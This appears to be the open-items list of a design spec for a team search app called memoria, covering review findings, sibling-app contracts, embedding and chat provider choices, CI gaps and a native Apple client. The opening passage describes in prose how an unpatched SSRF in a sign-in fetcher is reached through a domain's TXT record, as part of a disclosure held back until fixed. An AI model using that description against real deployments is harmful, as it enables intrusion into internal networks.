  recording.** The fetcher's hardening was read on 2026-09-05 and there is
  none: `keymaildev/signin`'s classifier takes a `host=` straight from the
  submitted domain's `_keymail` TXT record with no allowlist, no scheme or
  port restriction and no private-range check, then fetches it with a
  client that follows redirects by default — and on NXDOMAIN it fetches
  the bare domain anyway, so the request happens for nearly any valid
  domain rather than only delegated ones. **That is an unauthenticated
  SSRF with an attacker-chosen destination, in every rastrillo app**, and
  §3.2's "leaks existence, egress IP and a timing channel" understates it:
  the reach is whatever the instance's network can reach.
  memoria's guard narrows this to *owners* here and does nothing for any
  other app. `SECURITY-DRAFT-rastrillo-signin.md` in this repo is the
  write-up, **unfiled on purpose** — rastrillo is a public repo and a
  public issue would publish the reachability to everyone running one
  before any of them could deploy a fix. Paul's call. The fix pattern
  already exists in `amadan.net/oficina/suite`'s `transport.go`: check the
  host before the transport dials, and refuse redirects rather than bound
  them. One residual here too, stated in the guard's
  own comment: an *owner* whose domain delegates to keymail is redirected
  to keymail's host rather than to `?sent=1`, so the two paths still
  differ for keymail-delegated domains. Narrower than the status quo it
  replaced, and it closes when the upstream fix lands.

- **`AHEAD` is adopted and not yet shipped**, which is a date rather than
  a question. §4.1 records how it was settled. Draft 4 cut `AHEAD` because `STALE`,
  `NOT_VISIBLE` and `UNKNOWN` are each the wrong home for "the sibling is
  behind"; `suite.Authorization` cannot express it, so memoria maps the
  case to `UNKNOWN` today and loses exactly the distinction `AHEAD` was cut
  to preserve. Raised with the suite as a contract change. **It got there
  because this branch answered the suite's question about the
  source-behind case without having read draft 4** — §1.10's lesson, one
  repository over.


---

**From the draft-4 and draft-5 reviews.** The items above came from the
suite strand; these came from memoria's own drafts, and the two lists met
on 2026-09-06 when the branches merged.

- **Draft-5 review, not yet fixed.** Draft 5 was reviewed and returned
  REQUEST CHANGES with eleven required changes. They are listed here
  rather than folded silently into a draft 6, the same way draft 3's ten
  were — the review before this one found two "fixes" that renamed a
  problem instead of removing it, and a list nobody can check is how that
  happens. **Note the attribution caveat in the review table: the reviewer
  reported itself as the model that wrote this draft.** If that self-report
  is accurate this pass does not satisfy §Review at all, and draft 5 needs
  a reviewer that did not write it before any of the below is trusted.

  Of draft 4's sixteen, twelve were graded REMOVED. The four that were not:

  - **The `STALE`/`AHEAD` boundary is undefined for a sibling that keeps
    only current state**, which is the commonest sibling shape. As written
    such a sibling answers `UNKNOWN` for every non-current revision, so
    ordinary staleness withholds loudly forever; and a log-keeping sibling
    with bounded retention cannot tell "pruned" from "lost in a restore",
    so after any long hibernation it answers `AHEAD` and §4.1's rule 1
    takes the whole source out of the ranking on the first query back.
    §8.1's "there is no routine case to exclude" is false for a
    hibernating fleet. Proposed fix: `STALE` is a known item at a
    non-current token whether or not the sibling still holds that token;
    `AHEAD` is no-row only.
  - **The breaker's `NOT_VISIBLE` clause is window-global, not per counted
    asker**, so one routine query from a Docs-only member plus a
    24-hour outage still fires the refusal breaker — the exact case the
    prose claims is now excluded. Worse, "asked in the window" is not
    computable from the two integers the spec stores: an asker whose
    window was all `UNKNOWN` is indistinguishable from one who never
    asked. Both are fixed by requiring each counted asker to have
    `VISIBLE = 0` and `NOT_VISIBLE ≥ 1` in the window.
    **Adopted 2026-09-07**, in §8.1 and in the code, after a review found
    the branch built against the old wording. Kept in this list because
    the route matters: the fix was written down here first, and the
    implementation went the other way for a day because nobody opened it.
  - **Gate 27's fixture arithmetic cannot go green** — 40 Docs chunks
    cannot render 50 results — and its first bullet asserts what the
    *fixture* returns, so it cannot go red for memoria's code.
  - **Gate 8 carries a mutation that stays green.** Overlapping the
    baseline with the window makes the baseline a superset, so no firing
    case changes. The disjointness clause does no work in the predicate:
    a clause that reads as rigour.

  The other seven are: `STALE` refetch has no revision to fetch under the
  opaque-token ruling; rule 1's "costs nothing that was not already lost"
  is false and its mark is not stated durable; the breaker's counters
  cannot distinguish a quiet week from a fresh instance, and a failed
  write silently lowers the count; per-cell `format_code` is never said to
  be ingested, so memoria-side unit certification has no input; an
  unreadable or gapped tombstone log has no stated rule; gate 25 asserts a
  404 with no request behind it; and gate 6 confuses its case with its
  mutation. Plus a list of cheap consistency edits, including that
  AGENTS.md still says "Five passes so far".

  **Not required but worth answering in writing:** the top-k starvation
  rule 1 fixes for `AHEAD` exists identically for `NOT_VISIBLE` — someone
  who can see a tenth of Sheets gets a page of five, with no refill and no
  notice, by design. Over-fetching and refilling withheld slots would fix
  both without excluding a whole source. This draft never considers it.
- **§Review pass on draft 4 itself.** Done: Claude Fable 5.1, 16 required
  changes, REQUEST CHANGES. Its sharpest finding was that draft 4's
  circuit-breaker fix renamed the problem rather than removing it — the
  prose claimed a property of the sibling and the predicate still
  measured whoever queried that day (§8.1).
- ~~**`NEEDS PAUL` — the roster-vs-sharing requirement.**~~ **CLOSED
  2026-09-05, by the second of the two rulings it named.** It asked
  either that the siblings adopt a member/guest distinction, or that
  decision 11 be narrowed so admission does not rest on their answer.
  Suite ruling 4 is the second: the home owns the roster, memoria pulls
  it, and no sibling is asked about membership at all. The original
  follows, because the reasoning is why ruling 4 is right and not merely
  different — *draft 4 filed it as a ticket:* §4.3 requires
  `MEMBER` to mean "on this team's roster"; Sheets §8.2 and Docs §8.2
  both define sharing *as* membership, in those words. So §4.3 does not
  ask the siblings to build a call they have not built — that is S1–S3
  and it is ordinary work. It asks them to **stop meaning what their own
  settled specs say they mean**, and §1.3's rule is that memoria cannot
  overturn another app's settled decision in its own table. Narrowing
  `MEMBER` in a subsection is that move made somewhere less visible.
  Two possible rulings, neither memoria's: **the siblings adopt a
  member/guest distinction**, or **decision 11 is narrowed** so admission
  does not rest on their answer. Until one lands, `S7` is
  `INDETERMINATE` everywhere and only the configured owners are
  admitted. Same threads as the decision-1 blocker below.
- ~~**No sibling can answer S7 yet.**~~ **Moot 2026-09-05:** S7 is retired
  and admission is the roster (§4.3). The original follows because the
  *shape* of the problem — memoria depending on work in another repo it
  cannot do — is now call 8's, unchanged. The *implementation* is ordinary work
  in their repos, the same shape as S1–S3, once the ruling above settles
  what `MEMBER` may mean. The two are separate items because they need
  different things: one needs Paul, one needs a branch.
- **`AHEAD` asks the siblings for something S2 did not previously
  need** (§4.1): the sibling must compare the asked-for revision against
  its own log rather than against its current row, which a sibling that
  keeps only current state cannot do without keeping more. Same thread as
  above. A sibling that cannot answer `AHEAD` must answer `UNKNOWN` for
  those pairs, never `NOT_VISIBLE`; that is a contract clause somebody has
  to accept. **§4.1's reconciliation adds two more clauses to the same
  thread:** `AHEAD` must also cover an item the sibling has no row for at
  all, and **S1a's re-announce must carry a closing marker and an item
  count** — without them memoria cannot tell a complete announce from a
  truncated one, and gate 27's retirement has nothing to rest on. A
  sibling that cannot close its announce authorises no retirement, which
  means memoria keeps phantom chunks out of the ranking forever rather
  than removing them. That is safe and it is not fixed.
- **Gate 2's stronger probe needs a model this binary cannot carry.** The
  correlation test in gate 2 fails if anything at rest is a vector, which
  is the assertion available under `CGO_ENABLED=0` with no weights in the
  repo. Running an actual inversion attack against the at-rest bytes is
  the probe §3.1's ruling really wants, and it is deferred with this
  reason rather than left as the word "threshold".
- **The circuit breaker still cannot fire on a team of two.** §8.1's
  rewritten predicate needs three askers who had `VISIBLE` in the
  baseline week, so the smallest teams get only the S3 breaker.
  Unresolved, and a weaker per-asker version reintroduces exactly the
  notice nobody reads.
- **The breaker's counters are the first per-person record memoria
  keeps** (§3.2, §8.1), and that is a change of shape rather than of
  scale. Sealed, two integers per `(sibling, asker, day)`, 8-day
  retention — but memoria previously held no statement about an
  individual at all, and now holds a per-day trace of how much each
  person was allowed to see. The alternative is an in-memory window,
  which on a hibernating instance is a breaker that never fires and
  reports "no anomaly" while doing so. If the record is unacceptable the
  answer is to drop the breaker and say so, not to keep it in a form that
  cannot work.
- ~~**15 minutes is chosen, not measured** (§4.3).~~ **Moot 2026-09-05:**
  that was S7's cache TTL and there is no S7 cache. The roster has its own
  TTL, set by the home, and ruling 3 forbids caching authorization at any
  scope. The original follows. It is a bet that one
  extra sibling call per person per quarter-hour is invisible beside the
  S2 calls a query already makes; the latency measurement below settles
  it, and if a cold S7 costs seconds the number moves.
- **`NEEDS PAUL` — the 12-hour session TTL** (§4.3), marked provisional in
  the body. **Draft 4's justification was wrong and has been replaced**:
  it said a session is "a magic link sitting in mail we cannot delete",
  which conflates two lifetimes. `rastrillo/auth`'s `pendingTTL` is **10
  minutes** and governs the link; `DefaultSessionTTL` is **30 days** and
  governs the cookie, which is in a browser and not in anyone's mail. The
  argument that does apply is §3.3's: memoria's session is worth more
  than any sibling's because four apps' content sits behind it, so an
  abandoned one should go stale by the next morning rather than the next
  month. Twelve hours is one working day. **The cost is one magic link
  per person per working day, and pricing that friction is Paul's.**
- **`NEEDS PAUL` — "there is no override switch" for §8.7's unit
  refusal.** The spec argues for it: an override is the `General` case
  with a checkbox in front of it. But `General` is the commonest format
  there is, so this refuses aggregates on ordinary spreadsheets, and
  nobody has measured how many of a real team's sheets it would refuse.
  **"We refuse most numeric questions" is a product decision, not a spec
  detail.** The measurement should come first; if it refuses nearly
  everything, this spec would argue for better header indexing rather
  than an override, but that is an argument, not a ruling.
- **§8.7's ruling that memoria certifies units *shrinks* the S6 contract
  rather than growing it.** `MIXED_UNITS` and `UNIT_UNKNOWN` come off
  S6's return list, because Sheets cannot see the header words memoria
  indexed and would be deciding on half the evidence. Worth noting in the
  S1–S3 thread: this is one less thing to ask of Sheets, and the fixed
  certification table is memoria's to build and gate 22's to hold.
- **Measure S6 and S2 latency against a cold sibling** before slice 1
  ships. §6.5's 800 ms deadline is an assumption, and it decides whether
  the primary search path degrades to permanent withholding.
- **Does CARLOS provide non-replicated scratch storage?** Unverified, and
  §7.1 needs it or pays a download on every wake.
- **The FTS index is now measured on the real corpus** (§7.2,
  `docs/BENCHMARKS.md`), but on a *cycled* one — repeated vocabulary makes
  the postings list smaller than genuinely varied English. The ceiling is
  therefore optimistic, not conservative.
- **Bucket bandwidth and AES-GCM throughput are still assumptions**
  (50–100 MB/s, ~1 GB/s), and the ceiling is most sensitive to them. So is
  the rest of a cold start: opening SQLite, allocating the vector matrix,
  parsing the snapshot and building id maps are all outside the 5-second
  budget as computed.
- **The two-parties problem is narrowed, not closed.** §8.3 selects a
  provider that *presents as* running its own weights rather than a proxy,
  which removes OpenRouter's proxy-plus-upstream shape. It does not
  establish that one organisation sees the corpus: **whether a subprocessor
  sits under TensorX is a DPA question and the DPA is unread**, as are the
  retention terms §8.3 calls "advertised".
  **Paul ruled on 2026-09-05 to "proceed with TensorX for sure" rather than
  hold for these**, and the scope of that is stated here rather than
  assumed, because assuming it once already produced §1.8. The spec reads
  it as: *the provider decision is settled, and slice 2 may be designed and
  built against it.* It does **not** read it as permission to enable egress
  over real team content before the DPA and retention terms are read —
  that is a different act, it is the one §3.6 makes promises to the reader
  about, and nobody has been asked. **If Paul meant the wider thing, this
  is the line to change.** Until then: build against it; read them before
  the switch is thrown.
- **The live calls ran on 2026-09-05, and settled less than hoped.**
  `/v1/embeddings` serves `qwen/qwen3-embedding-8b` as documented, and the
  model is in `GET /v1/models`. The `text-embedding-3-small` probe —
  the one that would have shown TensorX proxying to OpenAI —
  **returned 403.** It did not succeed, so no proxying was demonstrated —
  but read that precisely, because **the probe had no control** and three
  readings fit it equally. *Benign:* a blanket "model not in your
  allowlist" 403 for any string at all. *Middle:* a routable name this one
  key is not entitled to. ***Worst, and the reading the probe existed to
  find:*** the name is in their routing or entitlement table because it
  **is** served for someone, and the 403 is the gate rather than the
  absence. Nothing run so far separates the three.
  **Two calls would, and neither needs more than a key.** Probe a nonsense
  model id — if it 404s where `text-embedding-3-small` 403s, that
  difference is the finding. Then `GET /v1/models/text-embedding-3-small`.
  **Record the error body verbatim** while there: it is the provider's own
  text about a model name we chose, not team content, so §3.2 does not
  reach it and quoting it costs nothing. Also capture the response headers
  for the `Content-Encoding` question in §7.2, and the accepted batch size.
  Until those run, §8.3 says "presents as" rather than "runs", and this
  narrows rather than closes — like the subprocessor question above, which
  no API call can answer at all.
- **`encoding_format: "base64"` is answered and the answer is no** — see
  §7.2. Accepted and silently discarded. The wire figure that replaced it
  is derived rather than measured, and `Content-Encoding: gzip` is
  unexamined; both are one probe away.
- **Paul was not shown the two-lab option when he kept DeepSeek.** §8.2's
  survey lists a dated Qwen (`qwen3-235b-a22b-2507`), so the pinning rule
  permits DeepSeek for one tier and Qwen for the other. He ruled "keep
  DeepSeek" on 2026-09-05 against a presentation that framed
  DeepSeek-for-both as what the rule required. It was not; it is a
  judgement about price, recency and coherence. The ruling stands and
  nothing needs undoing — but the record should say what was in front of
  him, and §8.2 now names the Qwen id as the frontier fallback.
- **Is the model id stable?** Partly answered by the catalogue. It lists
  `deepseek/deepseek-v4-pro` *and* `deepseek/deepseek-v4-pro-0813`, which
  demonstrates that bare names here are aliases over dated snapshots. §8.2
  now pins the dated ids for both chat tiers. **Two things remain unread:**
  whether a dated id is itself immutable at TensorX (ask them), and what
  happens to the **embedding** model, which has no dated form at all — gate
  24's canary is the only detector for that one.
- **Both chat tiers now come from one lab as well as one host.** §8.2 took
  dated ids over family preference, correctly under its own rule, but a
  DeepSeek withdrawal would move both tiers at once where the previous pair
  spanned two labs. Concentration recorded, not mitigated.
- **One embedding model, and the risk is a re-host not a re-embed.** The
  catalogue offers exactly one. But the weights are open, so any host
  serving the same `qwen3-embedding-8b` yields compatible vectors — closely
  rather than bit-identically, since serving stacks and quantisations
  differ, which is a thing gate 30 would measure. **The vendor failing
  costs a migration; the model being retired costs the corpus**, and that
  second exposure is identical to the one the OpenAI design carried. What
  is written down nowhere is the wall-clock and search-quality gap of a
  full re-embed, first or subsequent.
- **The 4096→512 truncation is unmeasured.** §7.2 argues it is sound
  because the model is trained Matryoshka, which is an argument and not a
  measurement. Gate 29 is owed and cannot be written until a labelled query
  set exists; `docs/BENCHMARKS.md` measures latency only.
- **Qwen3-Embedding is instruction-tuned, and §7–§8 are silent on it.**
  Queries take an instruction prefix, documents do not. OpenAI's models had
  no such asymmetry, which is why nothing in the spec mentions one. Getting
  it wrong costs recall and says nothing while it does.
- **§7.2's 24M tokens is now an estimate under a different tokeniser.** It
  came from an OpenAI-style ~1.34 tokens/word; billing is Qwen's. Probably
  close, unverified, and §8.6 inherits it.
- **Answer quality for the synthesis class is unmeasured, and the
  measurement is still owed before slice 2** (§11). What Paul settled on
  2026-09-04 is the *product call* — *"Frontier open weight is fine. This
  is lightweight LLM inference based on categorisation and memory. It's not
  complex reasoning."* — not the obligation to measure it, which came from
  the code review and stands. It reads §8.2 right: three of five classes
  call no model, and §8.7 sends arithmetic to Sheets, so a model sees only
  what survives retrieval, filtering and authorization.
- **Two tiers stay, and so does the measurement.** The spec asked whether
  the frontier tier was a habit. Paul ruled on 2026-09-05 that two tiers
  make sense *and* that measuring makes sense — two answers, not one, and
  both were wanted. §8.2 is unchanged; the obligation is unchanged. Measure
  the cheap tier on the synthesis class before slice 2 concludes it needs
  the expensive one. The premise was never free anyway: §8.2 calls the
  single-source class extractive, but synthesis spans ≥3 documents, which
  is the one place the work is more than extraction and the one place a
  second tier could earn itself.
- ~~**Docs §11.2's qualification** must be recorded in the Docs repo.~~
  **CLOSED 2026-09-05.** It is not recorded, it is *replaced*: §8.3 and
  Docs both cite suite §8's binding sentence, so there is one rule in one
  place rather than two qualifications in two repos that then drift. That
  is what `oficina/docs` discussion 33 asked for.
- ~~**Slice 1 waits on the contract module being importable.**~~
  **CLOSED 2026-09-06.** Paul made the Oficina repos public; the hub now
  serves `go-import` for `oficina/suite` and `go get` resolves it with
  default settings — **no `GOPRIVATE` and no `GOSUMDB=off` needed**, which
  is better than either session predicted. memoria depends on it directly
  as of `internal/memoria/sibling`. One consequence to know: the module
  declares `go 1.26`, so memoria's own directive moved from 1.25.0 to 1.26
  and any builder needs that toolchain.
  *The original entry follows, because the two refused workarounds are the
  useful part of it.*
- **Slice 1 waited on the contract module being importable, which was one
  command in another repo.** §6 cites `amadan.net/oficina/suite` and §11's
  slice 1 builds against it; today `go get` cannot resolve it, because the
  hub serves `go-import` meta tags **only for public repos** and
  `oficina/suite` is private. That is the hub's rule working as designed —
  a private repo must not become a discovery side channel — not a missing
  feature, and `amadan/amadan` demonstrates the working case (200, with a
  real `go-import` tag). The fix is `amadan visibility oficina/suite
  public`, which is namespace-owner-only.
  *Two workarounds were considered and refused. A `replace` directive is
  machine-local and makes `go.mod` an artefact of one box. Renaming the
  module to `amadan.net/oficina/suite.git` skips the meta tag — Go treats
  a `.git` path element as a repo root — and **it downloads**, but only
  where a stored credential exists, so it would pass CI because of where
  the runner is rather than because the module resolves: the same defect
  as `replace`, and it costs two breaking import-path changes plus a
  `GOPRIVATE` requirement that fails by silently falling back to a public
  checksum DB. memoria proposed it and the suite session found the hole.*
- **memoria's gates have never run in CI, and `make ci` is not a merge
  gate anywhere.** `amadan ci status oficina/memoria` answers *"No CI
  status recorded for this commit"*: the hub runner's repo list does not
  include memoria (nor `oficina/suite`, nor calendar). Every gate in §10
  that exists has only ever run because somebody ran it by hand, and
  nothing red has ever blocked a merge. That is one rung below the failure
  AGENTS.md names — a guard written to pass is at least executed — and it
  means the whole §10 apparatus is, as an enforcement mechanism, currently
  decorative. **NEEDS PAUL:** add memoria to the runner's `-repo` list.
  Found 2026-09-06 by the suite session, which hit the same wall on its own
  repo.
- **A hand-off cannot include memoria-owned material, and that will read
  as a bug.** An answer built purely on sibling passages can be saved into
  Docs; one built on the team's own uploads cannot, because suite §7 makes
  the receiver check every source with its app of record and decision 7
  gives memoria no surface to be asked on. **The asymmetry is invisible to
  a reader and looks like a defect long before it looks like a ruling.**
  Recorded in §9.1 and as a §12 row; the decision is Paul's. *(GPT-6's
  review of the doctrine, finding 3, via A.4.)*
- ~~**Ruling 15 is consumed and not cited.**~~ **Closed 2026-09-05:** §5's
  custody mark now cites it, with the two consequences memoria has to
  carry — a `granted` item is outside custody even when the asker holds
  the grant, and `team` → `granted` leaves custody as a `gone` row that
  §4.2 makes indistinguishable from deletion.
  **Still open, and not memoria's to settle:** the doctrine's §14 records
  Paul as not having ruled on 15 while its §1 says he has. Cited here as
  §1 has it; someone should reconcile the doctrine with itself.
- **A `carlos/platform` discussion** noting the app boundary is the
  implementer's to declare, and Oficina declares it at the suite —
  informational, not a doctrine proposal (decision 2).
- **Spreadsheet chunking is now specified (§8.7) but not built or tested
  against a real sheet.** The structure-chunk and region-row design is two
  models' reasoning, not a measurement, and header detection on real
  spreadsheets is where it will meet trouble.
- **S2's latency budget.** Every query now makes a live call to each
  contributing sibling, any of which may be cold. Measure before slice 1
  ships; if a cold wake is seconds, the floor needs a stated behaviour
  beyond "withhold loudly".
- **Whether Sheets and Docs will accept S1–S3**, which is work in their
  repos, not this one — and §4.1 asks more of them than draft 1 did,
  since S2 must evaluate their grants join per asker.

## Native Apple clients (Paul's scope, 2026-09-12)

Paul requested Memoria for Mac and iOS, following Meet, with platform-native UI
and local models. The first client supports searching, inspecting returned
passages, adding a team note and explicitly requesting an on-device answer.
It shares browser approval and Keychain transport with Calendar through
`amadan.net/rastrillo/native`. It does not create an offline permission cache.

Additional declared routes: POST `/native/request`, POST `/native/exchange`,
GET `/native/start`, and GET/POST `/native/authorize`; GET
`/api/native/session`, POST `/api/native/search` and POST `/api/native/notes`. The first two carry a
short-lived verifier challenge and one-time proof exchange; browser approval
requires the existing session/admission middleware and same-origin POST. The
exchange rechecks the approved identity's admission before minting an ordinary
app session. The native API routes sit inside `requireSession`. Search supplies
the querying person's address to `Store.Search`; no new corpus-read path or
sibling authorization rule is introduced. Only filtered result DTOs are returned,
with highlight markers removed for native text. Requests/responses are not cached.

Native note creation uses POST `/api/native/notes` and the existing Ingest store,
keyed by a `client_id` the client mints once per draft (a canonical, non-nil
UUID; the server mints one only for an older client that sends none). Two
same-title notes therefore never replace each other, and a Save retried after
a lost response replays the same draft: Ingest's same-key-same-body path
returns the first id, and an edited retry revises that one note rather than
adding a second (B10, 2026-09-23).
This resolves the independent review finding that the web paste endpoint upserts
by title. Notes retain the existing team-sharing policy. The local model is an optional, explicit
Apple Foundation Models call on a supported device, never an external provider.
It re-runs search immediately before generation, uses up to five currently
returned passages, and presents the result as an AI draft with source links.
Unsupported devices retain search and notes. Queries, results and answers stay
out of logs and persisted app state; the session alone is stored in Keychain.
The app requires online retrieval even though answer generation is local.
